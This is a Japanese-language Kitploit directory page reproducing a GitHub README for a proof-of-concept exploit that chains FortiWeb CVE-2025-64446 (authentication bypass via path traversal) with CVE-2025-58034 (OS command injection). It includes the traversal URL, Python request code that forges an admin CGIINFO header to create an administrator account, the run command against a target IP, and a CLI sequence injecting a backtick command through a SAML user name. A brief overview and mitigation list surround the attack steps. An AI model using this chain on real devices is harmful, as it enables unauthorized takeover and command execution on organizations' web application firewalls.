Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Vulnerability-CVE-2025-64446-CVE-2025-58034 — FortiWeb CVE-2025-64446 (パストラバーサルによる認証バイパス) および CVE-2025-58034 (OS コマンドインジェクション) の PoC エクスプロイト。詳細な分析と緩和策のガイダンスが含まれています。 | Kitploit
ツール/GitHubGitHub/litndat/vulnerability-cve-2025-64446-cve-2025-58034
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用学習と教育ラボと実践
GitHublitndat/vulnerability-cve-2025-64446-cve-2025-58034

Vulnerability-CVE-2025-64446-CVE-2025-58034

FortiWeb CVE-2025-64446 (パストラバーサルによる認証バイパス) および CVE-2025-58034 (OS コマンドインジェクション) の PoC エクスプロイト。詳細な分析と緩和策のガイダンスが含まれています。

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
リポジトリを見る
22ヶ月前未レビュー

FortiWeb エクスプロイトシミュレーション (CVE-2025-64446 & CVE-2025-58034)

注意:

  • このドキュメントは学習およびセキュリティ研究目的のみです。
  • 許可なくシステムを攻撃するために使用しないでください。

1. 概要

FortiWebはWebアプリケーションファイアウォール(WAF)であり、Webアプリケーションを保護するために使用されます。

2025年には、2つの深刻な脆弱性が発見されました:

  • CVE-2025-64446 – パストラバーサルによる認証バイパス
  • CVE-2025-58034 – OSコマンドインジェクション

2. CVE-2025-64446の概要

項目内容
脆弱性の種類Relative Path Traversal
Authentication Bypass
原因FortiWebが認証前にパスを厳密に処理しないため:

- 論理パス文字列に基づくアクセス制御
- 完全なパスの正規化を行わない
- ../を使用した内部リソースへのアクセスを許可
説明一部の管理エンドポイントが有効な認証なしでアクセスされる可能性があります
影響- 認証を完全にバイパス
- 管理機能への不正アクセス
- 権限モデルの破壊
影響を受けるバージョン- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.4
- 7.4.0 – 7.4.9
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11

例:

root@kitploit:~
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. CVE-2025-58034の概要


4. 実験プロセス(PoC)

4.1. 環境の準備:

root@kitploit:~
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

これにより、ライブラリのバージョン競合を避け、作業環境の安定性を確保し、システムへの影響を最小限に抑えることができます。

image

4.2 エクスプロイト

ペイロード

root@kitploit:~
 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Python3でツールを実行:

root@kitploit:~
python3 exploit.py <IP_target>
  • <IP_target>: IPアドレスは、FortiWebデバイスのホスト名です。
image

ユーザー名とパスワードを取得 -> ログインを実行

image image

エクスプロイトに成功し、管理者権限を持つ新しいアカウントが作成されました。

4.3 アカウントログイン後のCVE-2025-58034のエクスプロイト

新しく作成した管理者アカウントでログインに成功した後、攻撃者は特別に細工されたリクエストまたはFortiWeb CLIコマンドラインインターフェースを介して、認証済みのコマンドインジェクション脆弱性を悪用できます:

root@kitploit:~
config user saml-user

edit "`id`" ## ここでコマンドを入力

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWebは設定チェーンを抜け、saml-userの設定中にidコマンドを実行します。

5. 脆弱性の軽減策

  • FortiWebをパッチ適用済みバージョンに更新する。
  • 管理インターフェースへのアクセスを制限する。
  • 管理インターフェースをインターネットに公開しない。
  • 異常な管理者アカウントを確認する。

6. 参考資料

  • CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
  • CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034
ツールをダウンロード
項目内容
脆弱性の種類OS Command Injection (CWE-78)
原因FortiWebがOSコマンド実行時に入力を安全に処理しないため:

- 入力のバリデーションなし
- 特殊文字のエスケープ不足
- ユーザーデータを直接システムコマンドに渡す
説明認証が必要だが、システムコマンドの挿入を許可する脆弱性
影響- 意図しないコマンドの実行
- システムリソースへのアクセス
- 完全性と可用性への影響
影響を受けるバージョン- 8.0.0 – 8.0.1
- 7.6.0 – 7.6.5
- 7.4.0 – 7.4.10
- 7.2.0 – 7.2.11
- 7.0.0 – 7.0.11